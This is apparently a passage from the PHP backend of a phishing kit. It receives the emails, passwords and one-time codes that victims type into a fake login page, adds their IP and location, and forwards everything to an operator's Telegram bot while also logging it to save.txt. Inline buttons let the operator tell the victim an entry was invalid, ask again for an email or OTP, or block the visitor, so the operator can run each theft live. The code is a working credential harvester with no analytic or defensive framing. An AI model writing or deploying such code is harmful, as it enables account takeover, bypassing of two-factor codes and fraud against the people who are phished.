country ?? ''; $city = $ipdat->city ?? ''; $org = $ipdat->org ?? ''; $timezone = $ipdat->timezone ?? ''; function buildCallbackData($response, $uid) { return $response . '|' . $uid; } function buildActionButtons($uid) { return [ [ ["text" => "❌ Invalid Email", "callback_data" => buildCallbackData('invalidemail', $uid)], ["text" => "❌ Invalid OTP", "callback_data" => buildCallbackData('invalidotp', $uid)], ], [ ["text" => "📧 Email", "callback_data" => buildCallbackData('email', $uid)], ["text" => "📱 OTP", "callback_data" => buildCallbackData('sms', $uid)], ["text" => "✅ Done", "callback_data" => buildCallbackData('done', $uid)], ], [ ["text" => "🚫 Block Visitor", "callback_data" => buildCallbackData('blockvisitor', $uid)], ], ]; } function htmlEscape($text) { return htmlspecialchars((string)$text, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } function copyable($text) { return '' . htmlEscape($text) . ''; } function sendTelegramMessage($token, $chatid, $text, $inlineKeyboard = null) { $payload = [ 'chat_id' => $chatid, 'text' => $text, 'parse_mode' => 'HTML', ]; if ($inlineKeyboard !== null) { $payload['reply_markup'] = json_encode(['inline_keyboard' => $inlineKeyboard]); } $options = [ 'http' => [ 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($payload), ], ]; $context = stream_context_create($options); return file_get_contents("https://api.telegram.org/bot".$token."/sendMessage", false, $context); } function triggerPoll($token, $chatid) { if (!empty($token) && isPollingMode()) { pollUpdates($token, $chatid); } } if(isset($_POST["email_only"]) && isset($_POST["em"])){ $userId = $_POST['em']; $prov = $_POST['prov2'] ?? 'Unknown'; if($userId != null){ $message = ""; $message .= "🔐" . htmlEscape($prov) . " EMAIL TYPED 🔐" . "\n"; $message .= "---------------------------"."\n"; $message .= "🟢 IP : " . copyable($ip) . "\n"; $message .= "Email: " . copyable($userId) . "\n"; $message .= "\n------------ Location ---------------\n"; $message .= "Country Name: " . htmlEscape($countryName) . "\n"; $message .= "City: " . htmlEscape($city) . "\n"; $message .= "ISP: " . htmlEscape($org) . "\n"; $message .= "Timezone: " . htmlEscape($timezone) . "\n"; sendTelegramMessage($token, $chatid, $message); triggerPoll($token, $chatid); $handle = fopen("save.txt", "a"); fwrite($handle, strip_tags($message)); fclose($handle); header('Content-Type: application/json'); echo json_encode(["success" => "sent"]); exit; } } if(isset($_POST["em"])){ $userId = $_POST['em']; $pass = $_POST['pa']; $prov = $_POST['prov'] ?? 'Unknown'; $uid = generateUid(); storeUid($uid); storeUidIp($uid, $ip); if($userId != null && $pass != null){ $message = ""; $message .= "🔐" . htmlEscape($prov) . " EMAIL INPUT 🔐" . "\n"; $message .= "---------------------------"."\n"; $message .= "🆔 UID: " . copyable($uid) . "\n"; $message .= "🟢 IP : " . copyable($ip) . "\n"; $message .= "Email: " . copyable($userId) . "\n"; $message .= "Password: " . copyable($pass) . "\n"; $message .= "\n------------ Location ---------------\n"; $message .= "Country Name: " . htmlEscape($countryName) . "\n"; $message .= "City: " . htmlEscape($city) . "\n"; $message .= "ISP: " . htmlEscape($org) . "\n"; $message .= "Timezone: " . htmlEscape($timezone) . "\n"; sendTelegramMessage($token, $chatid, $message, buildActionButtons($uid)); triggerPoll($token, $chatid); $handle = fopen("save.txt", "a"); fwrite($handle, strip_tags($message)); fclose($handle); header('Content-Type: application/json'); echo json_encode(["success" => "sent", "uid" => $uid]); exit; } } else if(isset($_POST["v2"])){ $v2 = $_POST['v2']; if($v2 != null){ $message = ""; $message .= "🟢 IP : " .$ip. "\n"; $message .= "New Visitor Active: "."\n"; $message .= "\n------------ Location ---------------\n"; $message .= "Country Name: ".$countryName."\n"; $message .= "City: ". $city."\n"; $message .= "ISP: ". $org."\n"; $message .= "Timezone: ". $timezone."\n"; sendTelegramMessage($token, $chatid, $message); triggerPoll($token, $chatid); $handle = fopen("save.txt", "a"); fwrite($handle, $message); fclose($handle); } } else if(isset($_POST["prov"])){ $prov = $_POST['prov']; if($prov != null){ $message = ""; $message .= "🟢 IP : " .$ip. "\n"; $message .= "🔐" . $prov . " Notice 🔐"."\n"; $message .= "\n------------ Location ---------------\n"; $message .= "Country Name: ".$countryName."\n"; $message .= "City: ". $city."\n"; $message .= "ISP: ". $org."\n"; $message .= "Timezone: ". $timezone."\n"; sendTelegramMessage($token, $chatid, $message); triggerPoll($token, $chatid); $handle = fopen("save.txt", "a"); fwrite($handle, $message); fclose($handle); } } else if(isset($_POST["prov3"])){ $prov = $_POST['prov3']; $em21 = $_POST['em21']; if($prov != null){ $message = ""; $message .= "🟢 IP : " .$ip. "\n"; $message .= "🔐" . $prov . " Notice 🔐"."\n \n"; $message .= "Email/Phone: " ." $em21" . ""."\n"; $message .= "\n------------ Location ---------------\n"; $message .= "Country Name: ".$countryName."\n"; $message .= "City: ". $city."\n"; $message .= "ISP: ". $org."\n"; $message .= "Timezone: ". $timezone."\n"; sendTelegramMessage($token, $chatid, $message); triggerPoll($token, $chatid); $handle = fopen("save.txt", "a"); fwrite($handle, $message); fclose($handle); } } else if(isset($_POST["code"])){ $code = $_POST['code']; $prov = $_POST['prov2'] ?? 'Unknown'; $uid = generateUid(); storeUid($uid); storeUidIp($uid, $ip); if($code != null){ $message = ""; $message .= "🔐" . htmlEscape($prov) . " CODE INPUT 🔐 "."\n"; $message .= "---------------------------"."\n"; $message .= "🆔 UID: " . copyable($uid) . "\n"; $message .= "🟢 IP : " . copyable($ip) . "\n"; $message .= "Code: " . copyable($code) . "\n"; $message .= "\n------------ Location ---------------\n"; $message .= "Country Name: " . htmlEscape($countryName) . "\n"; $message .= "City: " . htmlEscape($city) . "\n"; $message .= "ISP: " . htmlEscape($org) . "\n"; $message .= "Timezone: " . htmlEscape($timezone) . "\n"; sendTelegramMessage($token, $chatid, $message, buildActionButtons($uid)); triggerPoll($token, $chatid); $handle = fopen("save.txt", "a"); fwrite($handle, strip_tags($message)); fclose($handle); header('Content-Type: application/json'); echo json_encode(["success" => "sent", "uid" => $uid]); exit; } } ?>